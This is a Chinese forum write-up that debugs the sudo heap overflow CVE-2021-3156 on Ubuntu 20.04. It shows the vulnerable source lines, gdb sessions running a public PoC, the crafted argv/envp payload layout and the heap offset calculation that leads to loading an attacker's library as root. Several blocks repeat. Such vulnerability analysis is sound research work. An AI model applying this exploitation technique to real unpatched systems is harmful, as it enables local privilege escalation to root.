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在Ubuntu 20.04上调试sudo堆溢出漏洞CVE-2021-3156
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发表于: 2021-2-5 12:36
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在论坛上看到有大佬写了CVE-2021-3156的分析，蹭一下热度。
本文仅记录我对CVE-2021-3156漏洞的调试过程，漏洞分析及利用思路请参考Baron Samedit: Heap-based buffer overflow in Sudo (CVE-2021-3156)，利用代码请参考blasty/CVE-2021-3156。
测试系统为全新的Ubuntu 20.04.1虚拟机，sudo的版本为1.8.31-1ubuntu1。
根据漏洞介绍，此漏洞可以被所有本地用户利用，但是经过测试blasty/CVE-2021-3156只适用于non-sudoers。所以首先新建一个test用户，按照blasty/CVE-2021-3156的介绍编译并运行PoC。可以看到提权成功。接下来的目标就是结合已有资料，通过调试弄清漏洞利用的具体过程。
溢出的原因是在sudo处理命令行参数的时候，转译字符\使while (*from)跳过了后面的\x00。Baron Samedit: Heap-based buffer overflow in Sudo (CVE-2021-3156)里面介绍了3中利用方法，blasty/CVE-2021-3156实现的是3种方法中的第二种，即通过一次堆溢出覆盖了struct service_user中的name字段，从而控制了__libc_dlopen的参数，所以可以加载一个攻击者准备的so库。
为了更好的调试，按照ubuntu wiki中的方法安装符号。
安装好符号表后开始调试，调试时要使用root权限，否则sudoedit会报错（我猜是因为gdb sudo时sudo的suid位不起作用）。
漏洞利用代码做的事情就是准备好环境变量和命令行参数后，通过execve执行sudoedit。先在exec系统调用处断下来，然后用file命令将调试的程序改为sudo，接着在main函数下断点。
在main函数断下来之后，可以查看其参数和环境变量，注意命令行参数和环境变量都存储在栈上，而且连续的。
根据Baron Samedit: Heap-based buffer overflow in Sudo (CVE-2021-3156)的介绍，溢出点在set_cmnd函数，但是目前gdb里面并没有这个符号。分析后发现set_cmnd这个函数在sudoers.so这个库里面，但是当前进程中并没有这个库。
猜测这个库是由dlopen打开的，因此在dlopen下断点，果然看到了dlopen打开sudoers.so，并且set_cmnd的符号出现了。
在set_cmnd断下来之后你会发现这个函数被内联了，通过汇编可以看出分配内存是在sudoers_policy_main+771，所以在此处下断点，查看malloc的参数和返回值。可以看到分配内存的大小为0x74，返回值为0x5574f731a350。
0x74这个值是三个命令行参数AAAA...AA\ \ BBBB..BB\的长度加上3（每个参数后面有一个空格或null）。根据命令行参数的长度和环境变量的长度，可以算出X/P0P_SH3LLZ_相对0x5574f731a350的偏移是57+55+1+63=176。当前的内容为files，在nss_load_library下断点，再检查0x5618c8419350+176的值为X/P0P_SH3LLZ_，在__libc_dlopen_mode下断点，可以看到进程在打开libnss_X/P0P_SH3LLZ_ .so.2。
819 if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...852 for (size = 0, av = NewArgv + 1; *av; av++)
853 size += strlen(*av) + 1;
854 if (size == 0 || (user_args = malloc(size)) == NULL) {
...857 }
858 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...864 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
865 while (*from) {
866 if (from[0] == '\\' && !isspace((unsigned char)from[1]))
867 from++;
868 *to++ = *from++;
869 }
870 *to++ = ' ';
871 }
...884 }
...886 }
819 if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...852 for (size = 0, av = NewArgv + 1; *av; av++)
853 size += strlen(*av) + 1;
854 if (size == 0 || (user_args = malloc(size)) == NULL) {
...857 }
858 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...864 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
865 while (*from) {
866 if (from[0] == '\\' && !isspace((unsigned char)from[1]))
867 from++;
868 *to++ = *from++;
869 }
870 *to++ = ' ';
871 }
...884 }
...886 }
$ echo "deb http://ddebs.ubuntu.com $(lsb_release -cs) main restricted universe multiverse
> deb http://ddebs.ubuntu.com $(lsb_release -cs)-updates main restricted universe multiverse
> deb http://ddebs.ubuntu.com $(lsb_release -cs)-proposed main restricted universe multiverse" | \
> sudo tee -a /etc/apt/sources.list.d/ddebs.list
$ echo "deb http://ddebs.ubuntu.com $(lsb_release -cs) main restricted universe multiverse
> deb http://ddebs.ubuntu.com $(lsb_release -cs)-updates main restricted universe multiverse
> deb http://ddebs.ubuntu.com $(lsb_release -cs)-proposed main restricted universe multiverse" | \
> sudo tee -a /etc/apt/sources.list.d/ddebs.list
$ sudo apt install ubuntu-dbgsym-keyring
$ sudo apt-get update
$ sudo apt-get install sudo-dbgsym=1.8.31-1ubuntu1 # 注意要安装对应的版本
$ sudo apt install ubuntu-dbgsym-keyring
$ sudo apt-get update
$ sudo apt-get install sudo-dbgsym=1.8.31-1ubuntu1 # 注意要安装对应的版本
$ sudo gdb --args ./sudo-hax-me-a-sandwich 1
$ sudo gdb --args ./sudo-hax-me-a-sandwich 1
Reading symbols from ./sudo-hax-me-a-sandwich...
(gdb) catch exec
Catchpoint 1 (exec)
(gdb) runStarting program: /home/weizi/src/CVE-2021-3156/sudo-hax-me-a-sandwich 1
** CVE-2021-3156 PoC by blasty <peter@haxx.in>
using target: Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31 ['/usr/bin/sudoedit'] (56, 54, 63, 212)
** pray for your rootshell.. **
process 2604 is executing new program: /usr/bin/sudo
Catchpoint 1 (exec'd /usr/bin/sudo), 0x00007f2035ec7100 in ?? () from /lib64/ld-linux-x86-64.so.2
(gdb) file /usr/bin/sudo
A program is being debugged already.
Are you sure you want to change the file? (y or n) y
Load new symbol table from "/usr/bin/sudo"? (y or n) y
Reading symbols from /usr/bin/sudo...
Reading symbols from /usr/lib/debug/.build-id/c4/3faca825a3d0bf3541ed8e7c64262105da86d9.debug...
(gdb) b mainBreakpoint 2 at 0x5574f6222b20: file ../../src/sudo.c, line 136.
(gdb) cContinuing.[Thread debugging using libthread_db enabled]Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 2, main (argc=5, argv=0x7ffc20a88cf8, envp=0x7ffc20a88d28) at ../../src/sudo.c:136
136 ../../src/sudo.c: No such file or directory.
Reading symbols from ./sudo-hax-me-a-sandwich...
(gdb) catch exec
Catchpoint 1 (exec)
(gdb) runStarting program: /home/weizi/src/CVE-2021-3156/sudo-hax-me-a-sandwich 1
** CVE-2021-3156 PoC by blasty <peter@haxx.in>
using target: Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31 ['/usr/bin/sudoedit'] (56, 54, 63, 212)
** pray for your rootshell.. **
process 2604 is executing new program: /usr/bin/sudo
Catchpoint 1 (exec'd /usr/bin/sudo), 0x00007f2035ec7100 in ?? () from /lib64/ld-linux-x86-64.so.2
(gdb) file /usr/bin/sudo
A program is being debugged already.
Are you sure you want to change the file? (y or n) y
Load new symbol table from "/usr/bin/sudo"? (y or n) y
Reading symbols from /usr/bin/sudo...
Reading symbols from /usr/lib/debug/.build-id/c4/3faca825a3d0bf3541ed8e7c64262105da86d9.debug...
(gdb) b mainBreakpoint 2 at 0x5574f6222b20: file ../../src/sudo.c, line 136.
(gdb) cContinuing.[Thread debugging using libthread_db enabled]Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 2, main (argc=5, argv=0x7ffc20a88cf8, envp=0x7ffc20a88d28) at ../../src/sudo.c:136
136 ../../src/sudo.c: No such file or directory.
(gdb) p argv[0]
$1 = 0x7ffc20a8adf6 "sudoedit"
(gdb) p argv[1]
$2 = 0x7ffc20a8adff "-s"
(gdb) p argv[2]
$3 = 0x7ffc20a8ae02 'A' <repeats 56 times>, "\\"
(gdb) p argv[3]
$4 = 0x7ffc20a8ae3c "\\"
(gdb) p argv[4]
$5 = 0x7ffc20a8ae3e 'B' <repeats 54 times>, "\\"
(gdb) p envp[0]
$6 = 0x7ffc20a8ae76 "\\"
(gdb) p envp[62]
$7 = 0x7ffc20a8aef2 "\\"
(gdb) p envp[63]
$8 = 0x7ffc20a8aef4 "X/P0P_SH3LLZ_"
(gdb) p envp[64]
$9 = 0x7ffc20a8af02 "LC_ALL=C.UTF-8@", 'C' <repeats 185 times>...
(gdb) p envp[65]
$17 = 0x0
(gdb)(gdb) p argv[0]
$1 = 0x7ffc20a8adf6 "sudoedit"
(gdb) p argv[1]
$2 = 0x7ffc20a8adff "-s"
(gdb) p argv[2]
$3 = 0x7ffc20a8ae02 'A' <repeats 56 times>, "\\"
(gdb) p argv[3]
$4 = 0x7ffc20a8ae3c "\\"
(gdb) p argv[4]
$5 = 0x7ffc20a8ae3e 'B' <repeats 54 times>, "\\"
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